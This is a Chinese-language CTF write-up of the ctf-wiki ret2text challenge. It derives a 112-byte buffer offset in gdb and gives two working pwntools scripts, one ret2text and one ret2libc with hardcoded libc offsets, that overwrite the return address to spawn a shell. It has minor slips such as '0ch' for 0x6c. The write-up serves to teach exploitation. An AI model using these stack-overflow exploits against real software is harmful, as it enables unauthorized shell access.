ctfwiki-pwn:Basic ROP(ret2text)

实验程序:ret2text

使用IDA PRO反汇编:

 

 

 

 

拿到进入gett函数的call之后进行gdb调试,下这个call的断点,然后运行得到如图:

 

s的地址=0xffffd0f0+0x1c=0xFFFFD10C
s到ebp的偏移地址:0xffffd178-0xFFFFD10C=6ch

得到s到ebp的偏移地址,+4就到ebp,再+4就到ret了,即s到ret之前的填充为0ch+4=112

 

 

 

在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

 

 

解题方法一:使用ret2text编写EXP (ret2text即控制程序执行程序本身已有的的代码 (.text))

 

from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./ret2text')
offset=112
shell=0x0804863A
io.recvuntil('There is something amazing here, do you know anything?')
payload='a'*offset+p32(shell)
io.sendline(payload)
io.interactive()

 

解题方法二:使用ret2libc编写EXP(当程序没有system或者/bash/bin也能使用)

from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./ret2text')
offset=112
libc_base=0xf7dc9000
shell=libc_base+0x00045830
bash=libc_base+0x00192352
io.recvuntil('There is something amazing here, do you know anything?')
payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash)
io.sendline(payload)
io.interactive()

 

posted @ 2020-11-03 12:10  LuoSpider  阅读(497)  评论(0编辑  收藏  举报